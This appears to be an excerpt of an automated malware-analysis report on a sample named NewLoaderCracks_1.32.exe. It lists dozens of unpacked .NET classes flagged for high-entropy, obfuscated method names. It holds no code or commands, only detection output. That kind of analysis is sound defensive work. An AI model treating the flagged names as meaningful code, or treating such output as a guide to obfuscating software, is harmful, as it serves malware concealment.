Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, H9kGRDulG42C0P2ENw.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'rGSM1Y9mD', 'lVP5VhgQUgrn0WFqRbs', 'TSkwCFgPVKbh3jrhmJP', 'tn7IKKgLd3qHLjiBgJP', 'SwGposga2DRfwjDGmb2', 'Y73KRXgBf7tq9IUwnBk'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Dy5bm1lHtULYyswFZHT.cs	High entropy of concatenated method names: 'pMTRWUrh5F', 'NcvRYFLZ3n', 'XITaTyhGaykpKsI2YmS', 'sHW7WShJJJdH65DQYS8', 'aJx2NOh8WjSaD9GcXZk', 'mJN0MqhwyS7QvtxsLnc', 'nvZchmh5JPBBart817K', 'mRvSN8hKgP1jhYGlTgN', 'PwiLgIh1vCw5Yto0mrm', 'EBoOp2hvmg36y5dhITU'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, ebQm693BTWgIeWA8YnZ.cs	High entropy of concatenated method names: 'ADqqEBvAq1', 'L4XnogTuweZIemqPxJb', 'iC71wIT6KG0h9ZuGm4I', 'N6VceLT2a5AFO46IllV', 'WH1CYvTE93dICgqcIi6', '_1fi', 'TFDatqh3p2', '_676', 'IG9', 'mdP'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, sJuhRilllHaHsYLl3yG.cs	High entropy of concatenated method names: 'NjulnYeklG', 'ChLl4oKQBd', 'TOIl2INrUi', 'WIJltp3QJd', 'CL0lQdRiSf', 'xT1lgakJAu', 'mjT7Hlm0083o6xnXqZi', 'khE9G1md4Z82kS47Doy', 'yyrxALmZYQbFgB9q2bj', 'qInGbHm7rj50b3gDb7T'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Kk2UoY9R3o2OILLuSZa.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'qcv7RwpuIYEaQWfahxf', 'rmXJNDp6g61cqgoHZce', 'Q0c5kXpbWL6EchsLyl2', 'EOcyiNp4suKotc7m1mH', 'PDqymgpn1SkmF8r2f0A', 'rZ5oXqpQ96slwwMmfeK'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, m5kvJIRvqQ6vk88BQ7d.cs	High entropy of concatenated method names: 'erA7GowVsi', 'ctD7M19yAS', 'u3P7sJvRTj', 'fZU7LEpvoE', 'ooL7V02ywn', 'd2n7nfIWX0', 'iHgi1EGEp2NooHvRoxX', 'QuAGnqGCQ4FEtAtfPTP', 'N6pgo4G2kBaABTBj0vZ', 'oDODUKGuZKpEqqrHynX'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, KQdiKeKO1yr7g8kh4UY.cs	High entropy of concatenated method names: 'ckJNI592mZ', 'K7INcB1Ylf', 'QYgNC3Gahk', 'OyTNGvFOKa', 'lFJNM1bPk3', 'bHXHafL2Vbgv2bETvyT', 'dvlndsLSxsfPlBC4gSy', 'VR5PAcLCoiv4RvJfUek', 'hA98pMLER4vPHmltxil', 'quN8TkLu0cTSH8UGt7Y'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, PgZXc9RXyTK9oTr0lMn.cs	High entropy of concatenated method names: 'IjKZu2xpR8', 'HeNZxC6oi4', 'SHlZDqaUq0', 'mWa5cB8hDZkuDqR4rw0', 'e9doOg8mP8rGJgWL0Nn', 'huTXJX8FJkee9QyyjH6', 'Jo0uK88c7DnHloLVYxB', 'XovZesb2Pf', 'WTPZorSu4x', 'PJWZHSKqUZ'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, uiKX91lEy27eHmxVmOh.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'F8qKxEyjGC', 'yIoKDypiKX', 'b1yKB27eHm', 'GVmKEOh5aJ', 'c9DKInNSmN', 'Lt8RRT0eU6Kb4mMTIQW', 'cYYG0u0lv8SwcDWu3qG', 'rYqg5x0yufeFQkAFjXP'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, pjU1xV972YyawOghLYj.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'CrvR36p351q4rtc9MEp', 'PlWrB9pXJY40832LlfR', 'aLI4fkptjIRnKBHdOW4', 'qQxLtrpkMWpUvNfk8Xo', 'Oj3i76pfUwwXTGkCkDY', 'HeJo6rpz1cX1OoA1IhJ'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Bi4nhU9g2E0ZrvHeMGg.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'SmngsnAVw28tbT0ejQw', 'll3XFPAIeQNFJuAKqOk', 'biVlcIAMOhGqQxvK66w', 'yIx13mAOBbmQALeiHW2', 'JYb2f8AR1YKhggYtV1k', 'dq8n9WA3QIc7b08YwjG'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, mK9uj03h95WWacJtkcv.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'DEQdNohDJ3', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, t0ASy73kLI0VDtXhKyu.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, JMMflX9wZUOjcVJJ1kn.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'Ek5Gt2yyrg0NGvBE7oK', 'SAlkisyYhhPtxSgrMSi', 'QV1jO9ye92e75cK1L3g', 'wvtKcrylnbeM42HDXVn', 'GvKjBYyAVca17aehr8C', 'n38Sh0yjscYZ1P75nle'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, e9gKEc8j4ccPPjIvJc.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'Fyncsbus5', 'g2RtcPgGN71n0R0HLkr', 'QNiqeWgJjK1ZuFphij5', 'eUXmpkg8VbUruG6xdfm', 'Hklig6gwFaXNmCU2ldE', 'Kqr2RIg5YkmgMGbJQ2D'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, bPQI7ERoRB9E7CghuZ0.cs	High entropy of concatenated method names: 'TdaZ4hmt0n', 'i02Z2eaXc2', 'UeCZt3rkJ9', 'gMeFmJ8sS7DtHB15WYu', 'to4wbs8qFB8dc5yhvk6', 'LhWKt78D8gob7wjC5Ie', 'HMU1jL8VelvfSMtfOic', 'Jq3ZA78IZwDyxBOTuET', 'u9fi4i8Md9AChomx14B', 'bwsS8A8OtKOaxhxVVa8'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, WnhZCTvNt7pAc8upimk.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'SRPj6F5BCh', '_3il', 'ceNj9W0KYc', 'B9kjloN1c6', '_78N', 'z3K'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, FcG67VRPX0ukIu8AsNZ.cs	High entropy of concatenated method names: 'Mm6wenY5uf', 'D8SwoRh15s', 'DqMwHeoS9u', 'fsJPB6wTM6IZvxSAyES', 'GTOLThw9H22ZOB4HrHl', 'F1Vkq1wiBpLfH8wAMJN', 'P6ASDLwHlpsXxCrteYs', 'S6ow3ESDvf', 'csyw71PREi', 'lnawZWR8E3'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Bx3xFGavu7JDAx3ga8.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'mPD1ZIgA9ytnne4gIxx', 'JlxTn8gjapJMj0uMrc7', 'TaSRYIgmQQVkJbAgJ3s', 'fw2MuwgF3dr1Dd0yf0k', 'Sq4Y96gheYYax2aZ4Xy', 'EiZAsOgcdfikQb6leKm'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, TaHsAXlw4FpSEGPMUxv.cs	High entropy of concatenated method names: 'coWR1G1FuX', 'ml8Rugb4vK', 'D2WRxBK01F', 'gnURDcsTZE', 'jb9RBfxnXR', 'EtLRER4SPW', 'pxmRIQfxDH', 'Quw3QkF1D6ZG04dhJnC', 'MYd39pF5yOqpZpuGxvK', 'SWqtxeFKFxbWlrZ1FNv'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, jVvmDbVGlxm7LTy0MJ.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'ncuKyEUTappSDQKiNuG', 'XDpDlWUHFYK18FKZtEa', 'RDii66UsJwVn81M8oZZ', 'f0GZEIUqrYVxpGbG47x', 'eYR3h0UDVbB5DcmjexV', 'aUtIldUVBJVHjHvM1on'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, ncbOUZvgUIhYx2a4pMk.cs	High entropy of concatenated method names: 'HJdiWLpD7s', 'OkfixJiUKQ', 'sWqiDjD03I', 'LskiBB5u2X', 'u0ciEgA9Hi', 'NNgiI3pMAI', 'mAcicvajAL', 'RLuiCyEitq', 'wb5iGJk6Dl', 'a2liMMJGWd'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, f4UGf9RNywmjIhFCXBq.cs	High entropy of concatenated method names: 'Ox4w1ZnmNd', 'D2Cwu6vTpk', 'yVxZrq5dXJ2SILFQ9tM', 'cRE7KB5GPEeIcVL5css', 'Kf2w8M57BBUgA1hPKxo', 'ReYxjA50MqlTXjy2sG3', 'qX2dQW5JBACUXdrB0tw', 'z1bJcI58oLA7xY6paRN'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, aoESDvvHflsy1PREijn.cs	High entropy of concatenated method names: 'odervpgFCw', 'ggWrKuXZMX', 'gnlr3GBcGL', 'zcwyLaS71KViECpqdV5', 'dMD7a1S0IfQxYCh3PKH', 'aJGdxXScnq01CrBUHSC', 'HEY1iNSZSdusDNNyATU', 'PeL9gESd0qR6nKucvWg', 'BHoiuASGcjMeL1lQGYG', 'EvgGyBSJRPFyxuq8NCF'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, PecDwktA7vOoh6WQMn.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'wj4JxhWcMWqShjstZHB', 't7kKRcWZL4aUuBSrDys', 'b4pUKIW7ClRtfekBUX0', 'NOpN5AW0JZEhovPDPBs', 'CgDW0XWd9IgC5sEnAkF', 'Cq89jaWGX9nFRj1bh0O'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, bsYIHC9VlusmyTqEt1o.cs	High entropy of concatenated method names: 'uP1l0EWHi8', 'qftlysWbuM', 'QCJlQXAjfeanMEkJVZw', 'xkA28hAlXebVS74YGy8', 'MBxuQrAAFIKPhlEsvTc', 'QMFo23AmJkZo7AmdLop', 'hW5MUDAFJTBuRUbsOAf', 'pSiwjKAh8mVSu9pAOsW', 'xqpF2sAc5BqGXPMxsyR', 'r2GkdZAZRGr3dBjgQQv'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, AtZO7HD7LggNi3T57O.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'I79TkhgkLC9n50XsP2E', 'aWvLOggfITFSVoBb3uR', 'KjhJPOgzNOve4fCI8DV', 'cJIABoNx6BaFeT8GWiR', 'l6fMNFNrpBdU7WXOTC1', 'hI7weRNgT21L48Nq16g'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Of3qevGHECnn50JMJo.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'fnqmV9UA72hIKKSsHTY', 'wG4fwDUjGEq8qyNatGl', 'cPRyB5UmwMjQZiSlayG', 'pB3n8HUFQYviSntviLg', 'V9vhPeUhqHKc4Lm7Im1', 'KGieKLUcbMXnH5HHVVS'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, gg2GRPlxt5O8H9qFbHW.cs	High entropy of concatenated method names: 'O7gKS2GRPt', 'VHfqNb7kcZJI05PbLai', 'd3NqM37fylmvgZBhcZ6', 'YDVUiV7Xj83unNsQoBL', 'fcknvx7tPe0u9S6gxPl', 'LD5WJC7zsgBhiq0tvTx', 'wMumZZ0xrxugPqS4Py9', 'JUy0Zv0rj7XRLmLT83p', 'eZS9eS0gSQD5Bixxc6C', 'WRmjrr0NoX9CwUNGRIo'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, uWJtAR9o9PjlxWL4lFK.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'dEOkqMyO2PNCOH7Ho5L', 'OjnainyR8Fjwc2dQ8Wo', 'YU4tYKy30h63Qlvtdhv', 'hN0CNRyX4IG1hbo8eOn', 'PQVIb2ytRLWTYdS36gq', 'xZaelDyk1pPH41YXo1k'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, VInybP7k0ixBkseEAD1.cs	High entropy of concatenated method names: 'Tfj8NKmpOh', 'bSx8k7QxNU', 'oyt8d14TZb', 'kce8OSFEOx', 'S0I8a1Ro3k', 'CIT8q6x0v4', 'N3Q8SeFqo9', 'UvA85rNyMc', 'llC881TTGG', 'NGm81vY57R'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, Jmiyo69tB8oRYqcLHMT.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'TpOS1pAb8ng9tqBEV49', 'TitlTMA4mjbVMucuZRS', 'AdFQaHAnZcdyqa7s0uV', 'PgJPTtAQCBrLKibKFOF', 'XMLH74AP9glh1SZ2mcK', 'SlZ9D6ALo0ii6xUKoew'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, CoVvi9lYLyxTnXKOuL2.cs	High entropy of concatenated method names: 'Tns7kpWlxG', 'lewTyxdIr3OkTTobvQQ', 'zIUEKudDT9dCVKMfOLq', 'dJoCNUdVLyS8JYrHOoc', 'nGt0OkdMNGE7pYjnp04', 'XgtAsodOAIGX1PFS6t3', 'NeN7FjSBUH', 'mAL7PaG99L', 'NO57ULQC3Y', 'jt77mG3Qjb'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, SRPF5B3uChleNW0KYcq.cs	High entropy of concatenated method names: 'InMZ4KTU5ZoafkUaiAK', 'trVXL4TWs8trW261SpJ', 'SCxCS8TgZjO3E2Y5Bii', 'yqf7PLTNL22pB87Op9L', 'kDjOxAxSiJ', 'WM4', '_499', 'wY0OD48yL3', 'lEqOBAmhcV', 'LkROEBI8ff'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, qerjpp94FVH9SYQEuJe.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'FdZoIBA8OoLwYY3W5wE', 'pUrkuqAw2Nt5rc6fFjf', 'rOJBvDA51ffNxxQMoL0', 'jXCny1AKuHSatEDppjr', 'aHUdrFA14kjfP4uEQnL', 'MMSS2JAvnxhZKH7MRT6'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, RWBK019CF7nUcsTZE0b.cs	High entropy of concatenated method names: 'gt5l93NGes', 'KALllYadky', 'nLTlRmROYB', 'ypMkn2lMBfeVM6kSdvU', 'yjbd3IlOtB7JkanJqJs', 'z4KRunlVrRX7QFmEOw1', 'uxLiWwlIWbAcMtlu8cC', 'mpW34ylRUVR1Oo0ZuQ8', 'qmCroJl3LHM8X7ivlQZ', 'aNjthVlX8PAqnFR2ZsC'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, v6luaK3qSQdG78Cyn9Y.cs	High entropy of concatenated method names: 'UbyOwveBBZ', 'OeNOXiTnsX', 'xhDO0B6XP6', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'WbfOykEdX4'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, pC7UlOvJvi2hqAkL1D8.cs	High entropy of concatenated method names: 'InaekceOgP', 'CXkeOXy8Iw', 'jUFej3DsLU', 'USjei6u0yo', 'RRieeQJHf2', 'W0OeoIfJdo', 'XSJeH3qTdG', 'GnYefWlxQt', 'J6qeF11k6K', 'jPyePgINBt'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, rmnQxrKweXovxmYFfo7.cs	High entropy of concatenated method names: 'cchNUIkh25', 'zUPNmOjQPP', 'qIJtIOPRG1ZjvXiH1qI', 'mG3Hf1P3cSRYYytdcXP', 'k5OrShPXjSrcIKPLShu', 'Yf1mLSPtaFUUp5bvmp0', 'y3nrD0Pk8RCVZA9NTqE', 'kdLJ9PPfxy75un1r0M0', 'bwoIcUPzudKKsLwKOBl', 'eIwaquLxYE5QaMI2sZn'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, N43Em13sOK0bOJdFKYn.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'uLbSwvYDkJ', 'F7kSXo5Oq0', 'Ye4S0ejdP2', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, EEuZ9r38tkfgiKsc6S5.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'FAyOkJskxn', 'PUYOd208e9', 'rfxOOXcpmM', 'f6rOaDuBaH', 'lktOqeFjmU', 'uv3OSMaq1f', 'n36wJviLJSCZkVIRe71'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, bpHPos9OBbZYq4VcBpa.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'oR90DvYf751JLVGVH2I', 'OpbxXnYz9Q16Rs8bpTf', 'GposnRexhWIGTr9BHTW', 'U95QuMerdImuIqIV1Ak', 'mLjsyiegIr0cj1ECjZw', 'pX2qL1eNbP6LFUMrb8Z'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, miph6a4RmaFZ1Nl1NL.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'efuPsWWpJqBijSMTupx', 'iZNWhZWyYcpBcPkS59V', 'jumLsRWYBuDggxwt2jp', 'kXZdb1Weu9xqVlesb44', 'z8ljwlWlCXFredEF7ml', 'DNq2YFWAlFUf4Mm9y6l'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, t4CLPVs2O746c94BsC.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'NpbC3ZU0p5NkaIktSx5', 'oTGmtLUdZ91AeqAVlIC', 'W5VvsXUGIVLFI0QAfVn', 'n7creJUJsBerPLqj2JI', 'IkKqaaU83biX38lY8iC', 'yJ0Yc2UwhDNBvrSuwOY'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, YKi3fZ9hlb310txy1Nx.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'TDN17SYQ4qWF0NvupFs', 'AhdeobYPubtuci9IuGJ', 'BGsbkxYLGUE2lyfxMol', 'CxXm5jYabGXEy1jwc6l', 'frWUSTYBtUkRC0Te2vS', 'Wkv6FnYodj5P7DdQrcB'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, SSylUP9EuEheEVLMLoR.cs	High entropy of concatenated method names: 'tSK9W692gs', 'aAOlp0lLcNB4TYQckAS', 'KtNQojlaTUIk9ytOT40', 'zG1s5RlQrBNr9yOoHQm', 'W8eiMXlPAo06WJCnY4R', 'jrTPDMlBULIWwgBQM7N', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, ngF7YCRzpDtcgD33ll9.cs	High entropy of concatenated method names: 'hqeXaX3rRb', 'lyrXqmtEXt', 'jBeXSG2g9X', 'GeWAIM191yrIR7LIPxu', 'htlZbX1i2ajK3BLNi1l', 'wxEibH1B3iYH9Uelhmk', 'TUfEhl1oGUqBxp1VsPW', 'iQPpZe1TxySbViodSA4', 'pUVMJq1HwGDIcthXSxi', 'APR4wf1srd4wmi2wnhg'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Ff88SRvmh15s8qMeoS9.cs	High entropy of concatenated method names: 'zatrunhjW2', 'XhXrxPBiK9', 'Fj0rD95WWa', 'KJtrBkcv0s', 'BowrEfsyQE', 'C4K08fSQnd6EpLS9WPX', 'MVBux7SPGPAUCTasrn6', 'iLfGAgS4lv8RXgFXBR7', 'aNJ5xhSnm0PcMTJ1lFs', 'Nh4ZUYSLwl1Ks8DstFr'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, wfmoFF7hiRD3cgB0IB.cs	High entropy of concatenated method names: 'toFjFhiRD', 'aNIQtr4UNoIW4YXPDY', 'dJWV3x63FI3nIGZZY6', 'NaH0WLba30QKdVZ1K8', 'vaxaYHn6caHt4oyBWn', 'jjc89tQ8NyExDy1DXx', 'VCYlBLvOI', 'uCERqN71G', 'IGqv92bCq', 'jp1KNowJ6'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, n0t0pSlTO21awwWGEMh.cs	High entropy of concatenated method names: 'piTvm04MpM', 'FVxvpl6Feh', 'O29vTElPEn', 'dgVvh7XuGZ', 'qiNvNXq2k1', 'dnAmgQZxmkjM05ZNAW4', 'wnVRWPZrnXZAOjFWu9x', 'OLFvLKcfL3OTtLUUSGn', 'UqlkV4czxp6kEFWui1B', 'xFhyK0ZgCReDkXMUVFa'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, s4k6M29947Pd4eU9gQX.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'O1mXrNpGeywXXCHv5hG', 'PdVPW5pJGYXZLTfdVAp', 'RYcxgup8yu8t3msQRiK', 'KFXH3hpw1dbKdeyxG1E', 'KYbpQtp5QekFTQAKu5A', 'UbNhxlpKckVmBNhbjqa'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, aUhb82JNGmSK692gsl.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'Cx5ROSWHMYC5VC6oCnP', 'Urrjs7WsPAjJyc60TOZ', 'Mhw0axWq0ZDKGFoGHs5', 't5JtcCWDv1rLQkormq9', 'BSOvW9WVP4ayInFXWuG', 'VLiPeXWIfgnJnw8Tvgq'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, RNPKDLRgnTWovsb2PfJ.cs	High entropy of concatenated method names: '_269', '_5E7', 'PQXAY7VWLI', 'Mz8', 'yohA7TleOU', 'OP1F14KMF4kj7I4bm5Q', 'KTt6cgKO3RuPk7vQ8aU', 'kEl3iAKR9ON6jrrD1KN', 'ha1GFeK3RyCXTPAArw5', 'muffLoKXqwKU5kwGwGF'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, zPI4UC7j83EwXD93Buo.cs	High entropy of concatenated method names: 'l25liIsSVRAXkTxhLoT', 'kRCHdrsCZmYs8K5oHpY', 'cTTwX2s1iN28bgeyNcP', 'LGr1r5svF1wdi82OCj1', 'Fcl8iXx74V', 'sOHDvOsuClk44daZQ4g', 'ITwhOPs6YmOKYDicVB8', 'uG4K4qsb0xa1LiMrm47', 'aKhPols46I51NIIFjjh', 'DkSo2msnJdwGX0u8XoL'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, zBhiTPvKhTWbp26i2p0.cs	High entropy of concatenated method names: 'pY8yHFUs5G', 'aUCCrsvdwjoMe4LBmZZ', 'SjOoHVvGoD9gA7bhYmr', 'rhXaAxv7HkjLAKVVa4a', 'bejCuev0EgmIHetNxmF', 'BARX5oQXfK', 's9xX8C9TXM', 'v7vX1ol8mo', 'OYiXu0FVCX', 'R4XXxYYjao'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, LqC3sHlqHwtkwo6WEcx.cs	High entropy of concatenated method names: 'mnqvWGuQpD', 'I3gvYhqYsf', 'MGRvznbE1i', 'ITiK6o6LT3', 'dyWK9K3kSS', 'ybHKltf92S', 'IbtKRNuRTP', 'GNbKvWoAlK', 'u9PKKHe0t0', 'x9mZ5fZ3x5ZJG68aGVV'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, x53ABG9f1owHDDKBaS3.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'qV714oYxEu5IA2a3IyF', 'tdCyEVYrg90xmuk4ey3', 'bwC1yfYg8T5ahHZGFaF', 'LrLyhWYNYKnYVp4WCZv', 'kCOJKvYUdWmWYgv5nkd', 'qNKUBqYWEbuDaorAp4Y'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, vVOmPGvrq31DO4wGvpR.cs	High entropy of concatenated method names: 'R5nyDoZ5tK', 'DwTyBrHcuW', 'kk9yEV8q9Z', 'b9gyIJCf9Z', 'EeuyctOC8U', 'jRTHRsvfDsnDW4YldbC', 'LXbZTHvzS3aRgR9ypIf', 'tQHYTlvtoJJ6V43XY8w', 'nhcgyQvk9bof5Qmiq6d', 'ixvoDiSxBCp6UFJKX25'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, bIFPV1lcgwYDSDD5lM3.cs	High entropy of concatenated method names: 'bUo3Z5cfiR', 'gCx3wimkVY', 'qfuKiS03euwGOCRsh0W', 'BMIA9Q0Xq5UEHcenUUI', 'dtHJU20OQiAFIO5ANvA', 'E5ecsj0RPxCCbXlN4Se', 'oVv3Hi9Lyx', 'vrioWWdxPAAeEAOZh5e', 'OkLqyudr2pemMUuLDdk', 'SmEmKA0fUF0UgZYyBEc'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, JeBQwbdky5DS6jtXTP.cs	High entropy of concatenated method names: 'WHsxJy1sc', 'u2WDYPxEk', 'aHmBs3h3r', 'ege99wran3LKLhyMRgP', 'i9kMHprPcg7MLdfjQrS', 'uFaJDVrLJbcmY4mMoMt', 'c2rpZnrBoiUKMnDlhee', 'gIBPDWro1FcnGOkEtvy', 'yebZsKr9hnYS0xnOuhX', 'mhmQE5riEYTBa61AsV3'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, qdhFZ8R4DvSTxeWyhpd.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'i55A28VT4E', '_168', 'wh4ZssKvk0oUHRnpIPh', 'pWB19ZKSXxIDgPLmwpM', 'Fqn38NKCyuOckWts74a', 'zoMDN2K2u7HS2s9nuZw', 'brUvuJKEEsPq7wABrSx'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, hDc22q36rjYl7cot4V2.cs	High entropy of concatenated method names: 'Gh5kLPB2Ov', 'kFnkVYtcxi', 'Gdrkno7VIK', 'TH8k4bfWZ6', 'lXtk2XA0DL', 'es4ktcEykF', '_838', 'vVb', 'g24', '_9oL'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, gWl6xsRsO4F1ET3XU7j.cs	High entropy of concatenated method names: '_5u9', 'hLLAwVhSAi', 'KM6X61hMyw', 'WrwAtwsyJM', 'mCKeOY5tXQeMwS6MiHG', 'v9FKKJ5kQ9RTBpF7hye', 'GCBKyX5f1waRepCJ85T', 'TrVFHr53drf9y9BDftT', 'Ba8k165XPXWXtEIPSsh', 'KB1lyd5zhIZrA5XYv5A'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, Kt2Y7f9q06pPifGXJIv.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'OF6sUBePE6BtaE3Kuth', 'jo2OSGeLZQCihT7DSeP', 'bTYDhYeayv0ue773mIo', 'tISHVAeBJK3JyVTc0WR', 'XUbls3eoaS4tr8O1Zld', 'fKvWaue9899EEIL168C'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, OoKQBd9PQOIINrUiJIJ.cs	High entropy of concatenated method names: 'nvH9SECnn5', 'EJtkr9Y02dd1A38WfQl', 'XlHpHOYdWQf7eQiK3TE', 'WVUDHHYZBVdAyebjYG9', 'lG30BEY7V9IcpZdKkVL', 'jf43DHYG4UQNuA9wAeg', 'wDNYDYYJJOjAGWOYYHM', 'OoP7uAY89U3psKsYPh1', 'C0ckiUYwef8IS4J0kWI', 'f28'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, tUR51qRtos8neeSCfCF.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'KRAX0V5agb', 'pBIAOwpU4N', 'BVnXyNYHGn', 'QSmAdTpoPh', 'tIS4B5KaehkqaEXNWVO', 'Ek9kscKBa9VD0kLhBRt', 'KTxkDuKPNsRwAANJxf6'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, s6gHsPvOqP2JDMQnOmc.cs	High entropy of concatenated method names: 'J5yjuhKgDq', 'iILjxvlJMS', 'iv5jDGxkJ1', 'aPtjBEwN4V', 'YP0jEhUOYu', 'R0kfhECGxgpsocX10dM', 'NkwZHtC0HtaO4Q1lUQq', 'EQQQPRCd2INaDLUgP93', 'WbfQd2CJ2MQlmW0EuGx', 'RP9RK3C8hWX6nOLiBP8'
